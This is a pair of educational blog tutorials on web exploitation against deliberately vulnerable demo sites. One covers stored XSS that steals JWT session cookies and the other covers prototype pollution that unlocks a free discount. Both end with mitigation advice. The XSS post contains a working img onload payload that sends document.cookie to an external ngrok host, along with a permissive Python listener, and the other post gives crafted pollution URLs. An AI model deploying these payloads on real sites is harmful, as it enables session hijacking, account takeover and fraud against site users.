DEV Community: Adnan Hashmi

Exploits Ep-2: Exploiting XSS to Become Someone Else Online

Adnan Hashmi — Tue, 27 Aug 2024 12:40:43 +0000

Disclaimer: The techniques described in this blog are for educational purposes only. We're here to learn, not to cause chaos. Any resemblance to actual hacks, past or present, is purely coincidental. Please don't try this at home, or work, or anywhere else – unless you're in a controlled, ethical environment with explicit permission. Remember, with great coding power comes great responsibility. Stay curious, but keep it legal, folks!

Welcome back to our "Exploits" series. In Episode 1, we explored the twisting paths of prototype pollution. Now, it's time to turn our attention to another prevalent web security issue: Cross-Site Scripting, or XSS.

Think of XSS as the digital equivalent of someone sneaking an extra ingredient into your favourite recipe. It might look the same on the surface, but the results can be quite unexpected – and potentially harmful.

In this episode, we'll unpack how attackers can inject malicious scripts into web pages, turning trusted sites into unwitting accomplices. We'll explore a practical example of XSS in action by demonstrating how to steal a JWT token, allowing us to impersonate another user. Through this, we'll see why XSS continues to be a persistent problem in web security, and what developers can do to keep their sites script-safe and protect user identities.

The following is the sneak peak of what we will be able to do. 😈

What is XSS?

XSS allows attackers to inject malicious scripts into web pages viewed by other users. When these scripts execute in a victim's browser, they can do all sorts of mischief, from stealing cookies to hijacking sessions.
Types of XSS:

Stored XSS: The malicious script is stored on the target server. It's like hiding a stink bomb in the school vents - it affects everyone who passes by.
Reflected XSS: The malicious payload is part of the victim's request. It's more like convincing someone to throw a water balloon at themselves.
DOM-based XSS: This occurs in the DOM (Document Object Model) rather than part of the HTML. Think of it as rewiring a car's dashboard to show the wrong speed.

Same Origin Policy

The Same-Origin Policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.
An origin is defined as a combination of URI scheme, host name, and port number. Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.

For example, the following have the same origin:

However, these do not have the same origin (different protocol):

The Same-Origin Policy prevents a malicious script on one page from accessing sensitive data on another web page through that page's Document Object Model (DOM). While you may see cookies from multiple origins in your browser's developer console, this doesn't mean that scripts can access cookies across different origins. Each script can only access cookies that belong to its own origin.

The Same-Origin Policy is what prevents a script on one website from reading or manipulating cookies or other data belonging to a different website, even if both sites are open in the same browser. This is true even if one of the websites is vulnerable to cross-site scripting (XSS).

Hands-On

Let's explore how an XSS attack works and its potential impact by experimenting with a deliberately vulnerable website: https://exploit-episode-2.middlewarehq.com/. This site simulates a video streaming platform with a comment section that allows various HTML styles in comments.

We can test the vulnerability by trying different HTML elements:

Bold text: Try commenting with <b>Bold Comment</b>. You'll see the text appears bold in the comment section.
Images: Add an image using <img src="image_url">. The image should display in the comment.
Other HTML elements: You can experiment with colours, divs, SVGs, and more.

The vulnerability lies in the website's failure to properly sanitise user input. It allows any valid HTML to be rendered by the browser, including potentially malicious code.
This opens the door for more dangerous possibilities. For instance, an attacker could inject a <script> tag containing malicious JavaScript code. When other users view the page with this "comment", their browsers would execute the injected script in the context of the vulnerable website.

Let’s try doing that. We will try to inject a script into the browser which will run every time a user visits this page.

First Attempt

We can use the following comment:
<script> alert("XSS") </script>

But you will notice nothing happens. Was the script tag not added? A quick inspect element confirms that our code was added as intended into the DOM. But why didn’t it execute? Let me explain why this happens:
Modern browsers have built-in XSS protection. When HTML is inserted into the DOM using innerHTML, the browser will not execute <script> tags or inline event handlers.

Second Attempt

While <script> tags are blocked, we can leverage other HTML elements that are still being parsed and rendered, such as the <img> tag. We can exploit this by using event attributes on these allowed elements. Here's a more sophisticated payload:
<img src="image_url" onload="alert('XSS')">
When we use this as a comment, we see an alert popup each time the page loads. This confirms that we've successfully executed JavaScript in the context of the website.
However, this simple alert is just the tip of the iceberg. The real danger lies in what malicious actors could do with this vulnerability:

Many websites, including this one, require users to log in before commenting. This often involves storing authentication data in the browser.
If we inspect the Application tab in our browser's developer tools and look at the cookies for this website, we find a 'session' cookie. Its value appears to be a JWT (JSON Web Token) used for authentication.
An attacker could craft a payload to access these cookies and exfiltrate them to a server they control. This would allow them to impersonate any user who views the compromised page and logs in.
Such an attack could affect every user who visits and logs into the website, potentially compromising numerous accounts.

Let’s first make a simple http server which our malicious javascript code will call with the cookie. We will use python to create a simple web server which will receive and log the stolen cookies from our malicious JavaScript payload.



cd /tmp/
mkdir xss_server
cd xss_server
touch main.py



# main.py
from http.server import SimpleHTTPRequestHandler, HTTPServer


class CORSHTTPRequestHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header(
            "Access-Control-Allow-Headers", "X-Requested-With, Content-Type"
        )
        super().end_headers()

def run(port=8000):
    server_address = ("127.0.0.1", port)
    httpd = HTTPServer(server_address, CORSHTTPRequestHandler)
    print(f"Starting httpd server on port {port}...")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

We have a run() function which is responsible for starting our server on a default port set to 8000. We use HTTPServer() to create a server which listens to 127.0.0.1:8000.

We define a custom request handler CORSHTTPRequestHandler that extends SimpleHTTPRequestHandler. This custom handler is used as the request handler for all the request coming to this server. This custom handler adds Cross-Origin Resource Sharing (CORS) headers to allow requests from any origin.

When the client makes a request to this server we respond with the following headers set:
1. "Access-Control-Allow-Origin": “*”: This header allows any domain to make requests to our server.
2. ”Access-Control-Allow-Methods": "GET, POST, OPTIONS": This specifies which HTTP methods are allowed when accessing the resource. We're allowing GET, POST, and OPTIONS (used in preflight requests).
3. ”Access-Control-Allow-Headers": "X-Requested-With, Content-Type": This indicates which HTTP headers can be used when making the actual request. We're allowing "X-Requested-With" (often used in AJAX requests) and "Content-Type" (to specify the media type of the request body).

You may ask, why is necessary for our exploit? When our injected JavaScript tries to make a request to our server from the vulnerable website, it's considered a cross-origin request. Without proper CORS headers, the browser would block this request for security reasons. By setting these permissive CORS headers, we ensure that our malicious payload can successfully exfiltrate data to our server. By implementing these CORS headers, we're essentially telling the browser, "Yes, it's okay for JavaScript from any origin to send requests to this server."

Let's get our server up and running. First, we'll start it locally using the command:

python main.py

Now, we want to make our local server accessible from the internet. In a professional setting, you'd typically use a cloud server with a public IP address, where you could easily map the server's port for public access. However, for this demonstration, we'll use a tool called ngrok. This is particularly useful when you are in a home network behind a NAT and don’t want to configure your router settings to expose your server to the web. But what exactly is ngrok?

Ngrok is a powerful and lightweight tool that creates secure tunnels from public endpoints to locally running services. It's like creating a secret passage from the internet directly to your computer. This is particularly useful for:

Developers who want to show their work-in-progress to clients
Testing webhooks without deploying to a server
Demonstrating applications running on a local machine
Temporarily exposing local services for collaborative work or testing

Here's how to use ngrok:

Download and install ngrok from https://ngrok.com/docs/getting-started/
Follow ngrok’s QuickStart guide to authenticate into ngrok
Once installed and authenticated, run the following command in your terminal:

ngrok http 8000

Ngrok will provide you with a public URL that forwards to your local server.

This method allows you to quickly expose your local server to the internet, making it perfect for testing and demonstrations like ours.
Once you visit the public URL in the browser you are met with a warning page like below:

Click on Visit Site to proceed with the request. You will notice in your terminal that you are getting the requests now.

Great, now we are ready to use this public URL to launch our attack.

Attack Payload

We will use a seemingly innocent looking image to exploit the vulnerability. The following is the payload we will use:



<img src="https://cdn.vectorstock.com/i/500p/53/95/thumb-up-emoticon-vector-1075395.jpg" onload="var script=document.createElement('script');script.src=`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?${document.cookie}`;document.body.appendChild(script);" />

Change the script src to your ngrok public URL and paste this in the comment box. Go back and check your python server logs in the terminal to see the cookie being logged.

This is our session’s cookie that is being logged. A similar log would occur when any user tries to log in because the above payload will every time the page is loaded. We will look inside the hood how this is exactly working but first let’s try to steal some cookies.

We will simulate a user login by logging out from the current account and logging in with a different username and password. As soon as we login we will see a cookie log in our python server.

Now we have Elon Musk’s session token🤯. We can use this token to login as Elon Musk even if we don’t have their password. Let’s see how.
Copy the session token from the terminal.

Then we logout from the current session using the logout button in the navbar. To double check you can see that the value of session cookie is empty. We now write right click on the cookie entry and select Edit “Value" and paste the copied cookie value there.

After we have edited the value of the cookie we reload our page. As soon as we reload the page we see that we are logged in as Elon Musk🤯. Wow!! Now we can do anything we want under the identity of “Elon Musk” in this platform and can potentially cause a lot of damage (I am not saying we should😛).

All it took was this seemingly innocent comment from Jeff. Now we will get the cookies of every user that tries to login into the website.

Under the Hood

Now let’s understand exactly what the comment did. The <img> tag does loads the image provided in the src url and when the image has been loaded it executes the javascript defined inside the onload attribute.



var script=document.createElement('script');
script.src=`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?${document.cookie}`;
document.body.appendChild(script);

The above javascript code creates a script element and sets its src attribute to our malicious url attaching the cookie value as the query parameter of the request. Then this script element is appended to the <body> of the document.

This comment is saved in the database, so every time the page is loaded this comment is fetched and executed. Every time the onload script is executed appending a malicious script tag to our document.
This type of XSS is called stored XSS which we defined earlier above. The malicious piece of comment is stored in the target server and is executed on every client which passes by.

Now, you might wonder why the Same-Origin Policy (SOP) doesn't prevent this attack. The SOP is designed to prevent scripts from one origin from accessing data belonging to another origin. However, in this case, the SOP doesn't come into play for two reasons:

The initial script injection happens within the same origin. The malicious code is part of the page content, so it's considered to be from the same origin as the rest of the page.
While the injected script does make a request to a different origin (our ngrok URL), the SOP allows <script> tags to load JavaScript from different origins. This is a necessary feature for many legitimate use cases, such as loading libraries from CDNs.

The SOP would prevent the script from reading the response from the different origin, but in this attack, we don't need to read the response. We've already accomplished our goal by sending the cookie data in the request URL.

XSS in the wild

Think XSS is just a theoretical threat? Think again. Cross-Site Scripting has left its mark on some of the biggest names in tech. Let's take a tour of XSS attacks that shook the digital world and proved that even the mightiest can fall to a few lines of malicious code.

Samy, the fastest spreading virus ever, was an XSS worm that was designed to propagate across MySpace in 2005, which affected 1 million users in the first 20 hours.
Even tech giants aren't immune. Google's Search page was found to have an XSS vulnerability that could potentially allow attackers to steal users' search history and other sensitive information.
A major XSS vulnerability on Twitter's website allowed attackers to create tweets with malicious JavaScript. When users hovered their mouse over the tweet, it would automatically retweet itself, leading to a rapid spread of the malicious code across the platform.
Twitch also fell victim to a significant XSS vulnerability that was exploited in real-time during a livestream. This incident is particularly noteworthy because it happened live in front of thousands of viewers, dramatically demonstrating the potential of XSS attacks.

XSS Mitigation

Now that we know how easy it is to exploit an XSS vulnerability and the damage it can cause, let’s look at how we can avoid being victims of these attacks.

Input Validation: It is extremely important to validate the data we take from the user before storing that value in the database or injecting it into our DOM. It is also recommended to validate the data we fetch from the database. So if database were to get compromised and some malicious data were to be inserted in it, we would filter it out before serving it to the end user.
Escape User-Controlled input HTML: This technique involves converting potentially dangerous characters in user-controlled data into their safe HTML entity equivalents before rendering them on a web page. Here's why it's important and how it works:
a. Identifying Dangerous Characters: Characters like <, >, &, ", and ' can be interpreted as HTML structure by browsers. When these characters come from user input, they pose a risk of XSS.
b. The Escaping Process:
- Convert < to <
- Convert > to >
- Convert & to &
- Convert " to " (Inside attribute values)
- Convert ' to ' (Inside attribute values) For example a user input of <script src="http://malicious.com/xss.js"> shall be escaped to <script src="http://mal.js">. We need not do this ourselves but rely on tools like lodash.escape and DOMPurify
Securing Cookies: Set the HttpOnly flag on cookies to prevent JavaScript access.With this flag set to true, we wouldn’t have been able to perform the above attack as the malicious javascript wouldn’t be able to read the cookies. We should also set the Secure flag to ensure that the cookies are only ever transmitted over https.
Content Security Policy (CSP): Content Security Policy (CSP) is a security mechanism designed to mitigate cross-site scripting (XSS) attacks and other code injection vulnerabilities. It works by allowing web developers to specify which sources of content are allowed to be loaded and executed on a web page.

Here's how CSP helps mitigate XSS:

Restricting content sources: CSP allows developers to whitelist specific sources for various types of content, such as scripts, stylesheets, images, and fonts. By limiting these sources, it becomes much harder for attackers to inject malicious code from unauthorized domains.
Disabling inline scripts: CSP can be configured to disallow inline scripts, which are a common vector for XSS attacks. This forces all JavaScript to be loaded from external files, making it easier to control and audit.
Disabling eval() and similar functions: CSP can prevent the use of eval() and other potentially dangerous JavaScript functions that can execute dynamically generated code.
Reporting violations: CSP can be set up to report policy violations to a specified URL, allowing developers to monitor potential attacks and adjust their policies accordingly.

To implement CSP, you add the Content-Security-Policy HTTP header to your web server's responses. Here's a basic example:



Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

This policy allows content to be loaded only from the same origin ('self') by default, and scripts to be loaded from the same origin and a trusted CDN.

That's it

And there you have it, folks! We've journeyed through the waters of Cross-Site Scripting, stolen some cookies (the digital kind, sadly), and even impersonated a user. Who knew being a temporary identity thief could be so educational?

If you think you are ready, we got a challenge for you. Why don't you use the tools you learned here and try to break our app.✊

⚡️ Try and break the Middleware repo!

If you enjoyed this post and learned something new consider giving our opensource repo a star.

🌟 Star us on Github! 🌟

Until our next adventure in the wild world of web exploits, keep your code clean, your inputs sanitised, and your cookies safely in the jar. Stay curious, stay safe, and may your browsers always be XSS-free!

middlewarehq / middleware

✨ Open-source DORA metrics platform for engineering teams ✨

Open-source engineering management that unlocks developer potential

Join our Open Source Community

Introduction

Middleware is an open-source tool designed to help engineering leaders measure and analyze the effectiveness of their teams using the DORA metrics. The DORA metrics are a set of four key values that provide insights into software delivery performance and operational efficiency.

They are:

Deployment Frequency: The frequency of code deployments to production or an operational environment.
Lead Time for Changes: The time it takes for a commit to make it into production.
Mean Time to Restore: The time it takes to restore service after an incident or failure.
Change Failure Rate: The percentage of deployments that result in failures or require remediation.

Table of Contents

Middleware - Open Source

View on GitHub

Exploits Ep - 1: From Prototype Pollution to a 100% Discount

Adnan Hashmi — Sat, 03 Aug 2024 07:19:24 +0000

Imagine this: You're browsing your favourite online shop, adding those must-have items to your cart, when suddenly, a hacker decides to crash your shopping party. But instead of stealing your credit card info or adding a thousand rubber ducks to your order – they pollute your shopping cart's prototype! Sounds like a weird sci-fi plot, right? Well, welcome to the world of prototype pollution, where hackers can turn your JavaScript objects into their personal playground. In this blog post, we're going to dive into prototype pollution, using a vulnerable e-commerce site as our guinea pig. So, grab your hacker hoodies, and let's explore how a simple shopping cart can turn into a hacker's paradise!

P.S.: After you've become a master at breaking JS, try out your skills on our repo, and maybe give us a star?

🌟 Star us on Github! 🌟

But before we HACK, here is a small refresher on javascript objects and prototypes.

What are Prototypes in Javascript

Almost everything in Javascript is an object and every object has a built-in property called prototype. The prototype itself is an object and serves as a fallback source for properties and methods. What that means is, when, javascript runtime doesn't find the property in the object, it checks for the property in the prototype of the object. If we want a shared behaviour between multiple objects we define that behaviour in the prototype of the constructor function instead of defining that behaviour in all the objects. Here is an example:

function Product(name, price) {
  this.name = name;
  this.price = price;
}

Product.prototype.display = function () {
  console.log(`${this.name} -> ${this.price}`);
};

let product_one = new Product("headphones", 1000);
let product_two = new Product("Mic", 400);

product_one.display();
product_two.display();

In the above example, the objects product_one and product_two are derived from the function constructor Product. When we call the display() function on the objects the javascript runtime first checks the object if they contain the method called display. When it doesn't find it in the object itself, the runtime checks for this method in the prototype (__proto__) object. The __proto__ property of an object links it to the prototype property of its function constructor. So Product.prototype === product_one.__proto__.

This can also be checked by logging the products and checking their prototype object.

We see that the object product_one itself doesn't contain a method called display but its Prototype contains it. You may also notice that there is another Prototype nested inside the prototype of product_one. This is where things get a little interesting and its precisely this feature that opens doors to potential exploits. Let's explore this next!

Prototype Chaining and Prototype Pollution

Inheritance in javascript is implemented using objects. Each object has an internal link to a prototype object which has a prototype of its own and so on until an object is reached with null as its prototype.

The nested prototype you're seeing is actually the prototype of Object, which sits at the top of the prototype chain for most JavaScript objects. This means that if a property isn't found on product_one or its immediate prototype, JavaScript will continue searching up the chain, eventually reaching Object.prototype.

For example, when we run product_one.hasOwnProperty("name"), JavaScript follows this lookup chain:

First, it looks for hasOwnProperty in the product_one object itself. It doesn't find it there.
Next, it checks product_one.__proto__, which points to Product.prototype. The hasOwnProperty method is not defined here either.
Then, it moves up the prototype chain to Product.prototype.__proto__, which is equivalent to Object.prototype. Here, it finally finds the hasOwnProperty method.

So if we were to somehow manipulate the behaviour of Object.prototype we will be able to control the behaviour of all the objects linked to Object.prototype in the chain. This is called Prototype Pollution. Lets see this with our previous example of Product.

This code is a classic example of prototype pollution. The first line modifies the prototype chain by adding a new property new_property to the Object.prototype. By setting new_property on this high-level prototype, the change affects all objects that inherit from Object.prototype. The second part of the code creates a new empty object obj and then attempts to access new_property on it. Despite obj not having this property directly defined, it still outputs "polluted" because the property is inherited from the polluted Object.prototype. This showcases how prototype pollution can unexpectedly affect seemingly unrelated objects, potentially leading to security vulnerabilities or unintended behaviour in an application.

Alright, enough theory. Lets get hacking!

Our favourite E-commerce site has a special offer for us of 100% discount🤯. But unfortunately we don't have the coupon code🥹. Wouldn't it be great if we could somehow snag that code? Maybe it's hiding in plain sight, hardcoded in the website's source.

Approach 1: Naive Approach

We open our trusty developer tools in the browser and go on to inspecting the code for the page. We move to the scripts section and check if we can find the coupon code.

We see that there is a DISCOUNT_COUPON_HASH and a hashing function called hashValue. If we scroll down further we find the applyCoupon function. This function gets the value of the discount code text box, hashes it using the hashValue function and compares it with DISCOUNT_COUPON_HASH. Unfortunately, by the nature of hashing function the hash value is irreversible. So we can in no way get the value of coupon code that hashes to DISCOUNT_COUPON_HASH.

Let's explore this site further as our previous approach didn't bear any fruit.

Approach 2: Trying to craft a malicious URL with `proto` query parameter

The shop has another very handy feature to store the cart state in the URL. This way we can share our cart with others or save the URL to come back to our cart. Prototype pollution attacks usually exploit how these query parameters are being parsed by crafting malicious urls. Let's try to craft a malicious URL to pollute Object.Prototype.

https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1}}&__proto__.hack=hacked

https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1}}&__proto__[hack]=hacked

Using the above URLs we try to inject the property hack:'hacked' in to the global object's prototype with the assumption that the URL parsing done to restore the cart doesn't sanitise the input. But the above urls don't seem to work as expected:

We need to explore the code some more to understand how the URL parsing is being done.

Investigating the code some more

Upon reading through the code we find loadCartFromURL function that is responsible for restoring the cart from URL on page load.

It creates a URLSearchParams object from the query parameters, gets the 'cart' query parameter and parses it to json using JSON.parse. After the object is parsed as json, the merge function merges the cart object and the updateObj recursively. Now this looks like something asking to be misused.

JSON.parse treats every key in the object as an arbitrary string, include __proto__. So now, instead of creating a new query parameter of __proto__ we will inject it into the cart object itself.

Approach 3: Injecting `proto` into the `cart` query parameter

Let's try to use the following url:

https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1},"__proto__":{"hack":"hacked"}}

And voila! We have successfully polluted the global object prototype.
But what exactly happened? Why did this format magically work and not the others🤔.

Let's take a look under the hood to understand what exactly is happening.

Since JSON.parse considers every key as an arbitrary string, JSON.parse(params.get("cart")) will create an object like below:

const updateObj = {
  "items": {
    "2": 3,
    "3": 1,
  },
  "__proto__": {
    "hack": "hacked",
  },
};

Here __proto__ is just an arbitrary string and it doesn't point to the prototype object Object.prototype. We then move on to recursively merging cart object and updateObj.

At some point in the recursive merge, the function will assign target["__proto__"]["hack"] = "hacked". During this assignment the javascript runtime treats ["__proto__"] as the getter for the prototype property of Object. Hence, the assignment becomes equivalent to Object.prototype["hack"] = "hacked". Now every object created using Object() constructor function will have access to the property hack.

Injecting the hack property is pretty useless to us, so let's try to find some more useful property that would help us get that sweet 100% discount😍.

More code exploration

We need to now look for some functionality or property that can be overwritten or injected using the above method, so that we can avail the discount.

We see that the calculateTotal function checks if the discount object has a "truthy" property called discountCodeValid and applies the 100% discount.
Aha! If we inject the property discountCodeValid into the Object.prototype we can buy all our favourite products for free!!!

Availing the 100% Discount 🥳

https://exploit-episode-1.middlewarehq.com/?cart={"items":{"2":3,"3":1},"__proto__":{"discountCodeValid":true}}

The above url causes the following javascript call:

cart["__proto__"]["discountCodeValid"] = true

This inserts the property discountCodeValid into the Object.prototype object. When the function calculateTotal is called, the control goes to the if statement if (discount.discountCodeValid) {. Javascript finds the property discountCodeValid in the Object.prototype by the principle of prototype chaining and the total cost is set to 0.

You can now see that the total cost shown in the cart is 0 and it also says Total: $0.00 (100% discount applied)🎊.

Click on the buy button with the discount applied to get a special surprise😉.

Prototype pollution in the wild

In the recent years there have been numerous real-world vulnerabilities that have been caused by prototype pollution. Various javascript frameworks and libraries have been affected.

jQuery (CVE-2019-11358): In 2019, a prototype pollution vulnerability was discovered in jQuery, one of the most widely used JavaScript libraries. Versions prior to 3.4.0 were affected, potentially impacting millions of websites.
minimist (CVE-2020-7598): This widely-used argument-parsing library for Node.js was discovered to be vulnerable in early 2020, affecting countless Node.js applications and CLI tools.
object-path (CVE-2020-15256) : Later in 2020, the object-path library, used for accessing deep properties of objects, was found to be susceptible to prototype pollution attacks.
Lodash (CVE-2019-10744): In July 2019, a significant prototype pollution vulnerability was discovered in Lodash, one of the most widely-used JavaScript utility libraries. This vulnerability affected all versions prior to 4.17.12 and could potentially impact millions of projects.

How to write prototype pollution safe code

Just like we hacked the shopping site, the same can happen to our apps as well😥. We need to adopt some coding practices to prevent this from happening to our websites. Here are some key strategies we at Middleware use to write code that's resistant to prototype pollution:

Object.create(null): When you simply need to store objects from untrusted sources use. This creates an object with no prototype, eliminating the risk of pollution.

const safeObj = Object.create(null)

Sanitising Keys: This is probably the most obvious way to prevent prototype pollution. But many a times, flawed sanitisation implementation allow attacker to still pollute the prototype using the constructor or changing the value of the key slightly to bypass sanitisation. Let's see how we can update the merge function used by the shopping site to prevent this type of attack:

function merge(target, source) {
  for (let key in source) {
    if (Object.hasOwn(source, key) && key !== '__proto__' && key !== 'constructor') {
      if (typeof source[key] === 'object' && source[key] !== null) {
        target[key] = safeMerge(target[key] || {}, source[key]);
      } else {
        target[key] = source[key];
      }
    }
  }
  return target;
}

Object.freeze() : Another way of preventing change to the Object.Prototype is to use Object.Freeze. Freezing an object prevents extensions and makes existing properties non-writable and non-configurable. A frozen object can no longer be changed.

Object.freeze(Object.prototype)
obj = {}
obj.__proto__.evil = "evil"
"evil" in obj // false

Map() : We can also objects like Map which provide built in protection. Although a map can still inherit malicious properties, they have a built-in get() method that only returns properties that are defined directly on the map itself.

Object.prototype.hacked = "polluted"
let safeObj = new Map()
safeObj.set("name", "John")

safeObj.hacked === "polluted" // true
safeObj.get("hacked") // undefined
safeObj.get("name") // John

Dependency Security : We can take all the precautions while writing our code, but it takes only a single vulnerable library to break it all apart. So it is very important to only use secure libraries. Luckily, npm provides a built-in command called npm-audit which scans your project for known vulnerabilities.

npm audit
npm audit fix

Final thoughts

And there you have it folks! We have successfully turned a shopping cart into our own hacking playground. But remember, with great power comes great responsibility (and potentially some very confused developers).

So, whether you're building the next Amazon or just trying to keep your JavaScript objects in line, keep this in mind. After all, you wouldn't want your users getting a 100% discount on everything, would you? (Or maybe you would, in which case, can we be friends?)

Now that you're armed with this prototype pollution prowess, why not put your skills to the test? Think you're a hotshot hacker after this little adventure? Well, we've got a challenge for you!

⚡️ Try and break the Middleware repo!

Go ahead, give it your best shot 🚀.

Stay safe out there in the JavaScript world, and may our objects never get polluted! (Unless, of course, you're trying to break our app – in which case, bring it on! 😛)

middlewarehq / middleware

✨ Open-source DORA metrics platform for engineering teams ✨

Open-source engineering management that unlocks developer potential

Join our Open Source Community

Introduction

They are:

Deployment Frequency: The frequency of code deployments to production or an operational environment.
Lead Time for Changes: The time it takes for a commit to make it into production.
Mean Time to Restore: The time it takes to restore service after an incident or failure.
Change Failure Rate: The percentage of deployments that result in failures or require remediation.

Table of Contents

Middleware - Open Source

View on GitHub

DEV Community: Adnan Hashmi

Exploits Ep-2: Exploiting XSS to Become Someone Else Online

What is XSS?

Same Origin Policy

Hands-On

First Attempt

Second Attempt

Attack Payload

Under the Hood

XSS in the wild

XSS Mitigation

That's it

middlewarehq / middleware

✨ Open-source DORA metrics platform for engineering teams ✨

Introduction

Exploits Ep - 1: From Prototype Pollution to a 100% Discount

What are Prototypes in Javascript

Prototype Chaining and Prototype Pollution

Approach 1: Naive Approach

Approach 2: Trying to craft a malicious URL with __proto__ query parameter

Investigating the code some more

Approach 3: Injecting __proto__ into the cart query parameter

More code exploration

Availing the 100% Discount 🥳

Prototype pollution in the wild

How to write prototype pollution safe code

Final thoughts

middlewarehq / middleware

✨ Open-source DORA metrics platform for engineering teams ✨

Introduction

Approach 2: Trying to craft a malicious URL with `proto` query parameter

Approach 3: Injecting `proto` into the `cart` query parameter